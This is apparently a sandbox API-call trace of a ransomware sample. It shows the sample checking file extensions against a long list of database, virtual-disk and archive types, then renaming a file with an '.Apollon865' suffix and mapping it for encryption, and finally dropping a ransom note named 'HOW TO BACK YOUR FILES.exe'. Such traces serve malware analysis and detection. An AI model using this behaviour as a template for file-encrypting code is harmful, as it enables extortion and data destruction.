	[0053.384] lstrlenW (lpString="vmdk") returned 4
	[0053.384] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.384] lstrlenW (lpString="rar") returned 3
	[0053.384] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.384] lstrlenW (lpString="zip") returned 3
	[0053.384] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.384] lstrlenW (lpString="tgz") returned 3
	[0053.384] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.384] lstrlenW (lpString="vbox") returned 4
	[0053.384] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.385] lstrlenW (lpString="vdi") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.385] lstrlenW (lpString="vhd") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.385] lstrlenW (lpString="vhdx") returned 4
	[0053.385] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.385] lstrlenW (lpString="avhd") returned 4
	[0053.385] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.385] lstrlenW (lpString="db") returned 2
	[0053.385] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.385] lstrlenW (lpString="db2") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.385] lstrlenW (lpString="db3") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.385] lstrlenW (lpString="dbf") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.385] lstrlenW (lpString="mdf") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.385] lstrlenW (lpString="mdb") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.385] lstrlenW (lpString="sql") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.385] lstrlenW (lpString="sqlite") returned 6
	[0053.385] lstrcmpiW (lpString1="re.url", lpString2="sqlite") returned -1
	[0053.385] lstrlenW (lpString="sqlite3") returned 7
	[0053.385] lstrcmpiW (lpString1="ore.url", lpString2="sqlite3") returned -1
	[0053.385] lstrlenW (lpString="sqlitedb") returned 8
	[0053.385] lstrcmpiW (lpString1="tore.url", lpString2="sqlitedb") returned 1
	[0053.385] lstrlenW (lpString="xml") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.385] lstrlenW (lpString="$er") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.385] lstrlenW (lpString="4dd") returned 3
	[0053.385] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.385] lstrlenW (lpString="4dl") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.386] lstrlenW (lpString="^^^") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.386] lstrlenW (lpString="abs") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.386] lstrlenW (lpString="abx") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.386] lstrlenW (lpString="accdb") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0053.386] lstrlenW (lpString="accdc") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0053.386] lstrlenW (lpString="accde") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0053.386] lstrlenW (lpString="accdr") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0053.386] lstrlenW (lpString="accdt") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0053.386] lstrlenW (lpString="accdw") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0053.386] lstrlenW (lpString="accft") returned 5
	[0053.386] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0053.386] lstrlenW (lpString="adb") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.386] lstrlenW (lpString="adb") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.386] lstrlenW (lpString="ade") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.386] lstrlenW (lpString="adf") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.386] lstrlenW (lpString="adn") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.386] lstrlenW (lpString="adp") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.386] lstrlenW (lpString="alf") returned 3
	[0053.386] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.387] lstrlenW (lpString="ask") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.387] lstrlenW (lpString="btr") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.387] lstrlenW (lpString="cat") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.387] lstrlenW (lpString="cdb") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.387] lstrlenW (lpString="ckp") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.387] lstrlenW (lpString="cma") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.387] lstrlenW (lpString="cpd") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.387] lstrlenW (lpString="dacpac") returned 6
	[0053.387] lstrcmpiW (lpString1="re.url", lpString2="dacpac") returned 1
	[0053.387] lstrlenW (lpString="dad") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.387] lstrlenW (lpString="dadiagrams") returned 10
	[0053.387] lstrcmpiW (lpString1=" Store.url", lpString2="dadiagrams") returned -1
	[0053.387] lstrlenW (lpString="daschema") returned 8
	[0053.387] lstrcmpiW (lpString1="tore.url", lpString2="daschema") returned 1
	[0053.387] lstrlenW (lpString="db-journal") returned 10
	[0053.387] lstrcmpiW (lpString1=" Store.url", lpString2="db-journal") returned -1
	[0053.387] lstrlenW (lpString="db-shm") returned 6
	[0053.387] lstrcmpiW (lpString1="re.url", lpString2="db-shm") returned 1
	[0053.387] lstrlenW (lpString="db-wal") returned 6
	[0053.387] lstrcmpiW (lpString1="re.url", lpString2="db-wal") returned 1
	[0053.387] lstrlenW (lpString="dbc") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.387] lstrlenW (lpString="dbs") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.387] lstrlenW (lpString="dbt") returned 3
	[0053.387] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.387] lstrlenW (lpString="dbv") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.388] lstrlenW (lpString="dbx") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.388] lstrlenW (lpString="dcb") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.388] lstrlenW (lpString="dct") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.388] lstrlenW (lpString="dcx") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.388] lstrlenW (lpString="ddl") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.388] lstrlenW (lpString="dlis") returned 4
	[0053.388] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.388] lstrlenW (lpString="dp1") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.388] lstrlenW (lpString="dqy") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.388] lstrlenW (lpString="dsk") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.388] lstrlenW (lpString="dsn") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.388] lstrlenW (lpString="dtsx") returned 4
	[0053.388] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.388] lstrlenW (lpString="dxl") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.388] lstrlenW (lpString="eco") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.388] lstrlenW (lpString="ecx") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.388] lstrlenW (lpString="edb") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.388] lstrlenW (lpString="epim") returned 4
	[0053.388] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.388] lstrlenW (lpString="fcd") returned 3
	[0053.388] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.389] lstrlenW (lpString="fdb") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.389] lstrlenW (lpString="fic") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.389] lstrlenW (lpString="flexolibrary") returned 12
	[0053.389] lstrcmpiW (lpString1="ft Store.url", lpString2="flexolibrary") returned 1
	[0053.389] lstrlenW (lpString="fm5") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.389] lstrlenW (lpString="fmp") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.389] lstrlenW (lpString="fmp12") returned 5
	[0053.389] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0053.389] lstrlenW (lpString="fmpsl") returned 5
	[0053.389] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0053.389] lstrlenW (lpString="fol") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.389] lstrlenW (lpString="fp3") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.389] lstrlenW (lpString="fp4") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.389] lstrlenW (lpString="fp5") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.389] lstrlenW (lpString="fp7") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.389] lstrlenW (lpString="fpt") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.389] lstrlenW (lpString="frm") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.389] lstrlenW (lpString="gdb") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.389] lstrlenW (lpString="gdb") returned 3
	[0053.389] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.389] lstrlenW (lpString="grdb") returned 4
	[0053.389] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.389] lstrlenW (lpString="gwi") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.390] lstrlenW (lpString="hdb") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.390] lstrlenW (lpString="his") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.390] lstrlenW (lpString="ib") returned 2
	[0053.390] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.390] lstrlenW (lpString="idb") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.390] lstrlenW (lpString="ihx") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.390] lstrlenW (lpString="itdb") returned 4
	[0053.390] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.390] lstrlenW (lpString="itw") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.390] lstrlenW (lpString="jet") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.390] lstrlenW (lpString="jtx") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.390] lstrlenW (lpString="kdb") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.390] lstrlenW (lpString="kexi") returned 4
	[0053.390] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.390] lstrlenW (lpString="kexic") returned 5
	[0053.390] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0053.390] lstrlenW (lpString="kexis") returned 5
	[0053.390] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0053.390] lstrlenW (lpString="lgc") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.390] lstrlenW (lpString="lwx") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.390] lstrlenW (lpString="maf") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.390] lstrlenW (lpString="maq") returned 3
	[0053.390] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.391] lstrlenW (lpString="mar") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.391] lstrlenW (lpString="marshal") returned 7
	[0053.391] lstrcmpiW (lpString1="ore.url", lpString2="marshal") returned 1
	[0053.391] lstrlenW (lpString="mas") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.391] lstrlenW (lpString="mav") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.391] lstrlenW (lpString="maw") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.391] lstrlenW (lpString="mdbhtml") returned 7
	[0053.391] lstrcmpiW (lpString1="ore.url", lpString2="mdbhtml") returned 1
	[0053.391] lstrlenW (lpString="mdn") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.391] lstrlenW (lpString="mdt") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.391] lstrlenW (lpString="mfd") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.391] lstrlenW (lpString="mpd") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.391] lstrlenW (lpString="mrg") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.391] lstrlenW (lpString="mud") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.391] lstrlenW (lpString="mwb") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.391] lstrlenW (lpString="myd") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.391] lstrlenW (lpString="ndf") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.391] lstrlenW (lpString="nnt") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.391] lstrlenW (lpString="nrmlib") returned 6
	[0053.391] lstrcmpiW (lpString1="re.url", lpString2="nrmlib") returned 1
	[0053.391] lstrlenW (lpString="ns2") returned 3
	[0053.391] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.392] lstrlenW (lpString="ns3") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.392] lstrlenW (lpString="ns4") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.392] lstrlenW (lpString="nsf") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.392] lstrlenW (lpString="nv") returned 2
	[0053.392] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.392] lstrlenW (lpString="nv2") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.392] lstrlenW (lpString="nwdb") returned 4
	[0053.392] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.392] lstrlenW (lpString="nyf") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.392] lstrlenW (lpString="odb") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.392] lstrlenW (lpString="odb") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.392] lstrlenW (lpString="oqy") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.392] lstrlenW (lpString="ora") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.392] lstrlenW (lpString="orx") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.392] lstrlenW (lpString="owc") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.392] lstrlenW (lpString="p96") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.392] lstrlenW (lpString="p97") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.392] lstrlenW (lpString="pan") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.392] lstrlenW (lpString="pdb") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.392] lstrlenW (lpString="pdm") returned 3
	[0053.392] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.393] lstrlenW (lpString="pnz") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.393] lstrlenW (lpString="qry") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.393] lstrlenW (lpString="qvd") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.393] lstrlenW (lpString="rbf") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.393] lstrlenW (lpString="rctd") returned 4
	[0053.393] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.393] lstrlenW (lpString="rod") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.393] lstrlenW (lpString="rodx") returned 4
	[0053.393] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.393] lstrlenW (lpString="rpd") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.393] lstrlenW (lpString="rsd") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.393] lstrlenW (lpString="sas7bdat") returned 8
	[0053.393] lstrcmpiW (lpString1="tore.url", lpString2="sas7bdat") returned 1
	[0053.393] lstrlenW (lpString="sbf") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.393] lstrlenW (lpString="scx") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.393] lstrlenW (lpString="sdb") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.393] lstrlenW (lpString="sdc") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.393] lstrlenW (lpString="sdf") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.393] lstrlenW (lpString="sis") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.393] lstrlenW (lpString="spq") returned 3
	[0053.393] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.393] lstrlenW (lpString="te") returned 2
	[0053.394] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.394] lstrlenW (lpString="teacher") returned 7
	[0053.394] lstrcmpiW (lpString1="ore.url", lpString2="teacher") returned -1
	[0053.394] lstrlenW (lpString="tmd") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.394] lstrlenW (lpString="tps") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.394] lstrlenW (lpString="trc") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.394] lstrlenW (lpString="trc") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.394] lstrlenW (lpString="trm") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.394] lstrlenW (lpString="udb") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.394] lstrlenW (lpString="udl") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.394] lstrlenW (lpString="usr") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.394] lstrlenW (lpString="v12") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.394] lstrlenW (lpString="vis") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.394] lstrlenW (lpString="vpd") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.394] lstrlenW (lpString="vvv") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.394] lstrlenW (lpString="wdb") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.394] lstrlenW (lpString="wmdb") returned 4
	[0053.394] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.394] lstrlenW (lpString="wrk") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.394] lstrlenW (lpString="xdb") returned 3
	[0053.394] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.395] lstrlenW (lpString="xld") returned 3
	[0053.395] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.395] lstrlenW (lpString="xmlff") returned 5
	[0053.395] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0053.395] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Apollon865") returned 76
	[0053.395] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.apollon865"), dwFlags=0x1) returned 1
	[0053.396] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.396] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=134) returned 1
	[0053.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.396] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.397] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.397] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.397] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x150
	[0053.399] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.401] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.402] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.402] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0053.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0053.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.403] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.403] CloseHandle (hObject=0x150) returned 1
	[0053.403] CloseHandle (hObject=0x118) returned 1
	[0053.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.403] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0
	[0053.403] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0053.403] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd90
	[0053.403] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Favorites\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links"
	[0053.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0053.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0053.404] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links") returned 32
	[0053.404] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\Links" | out: lpString1="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links"
	[0053.404] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
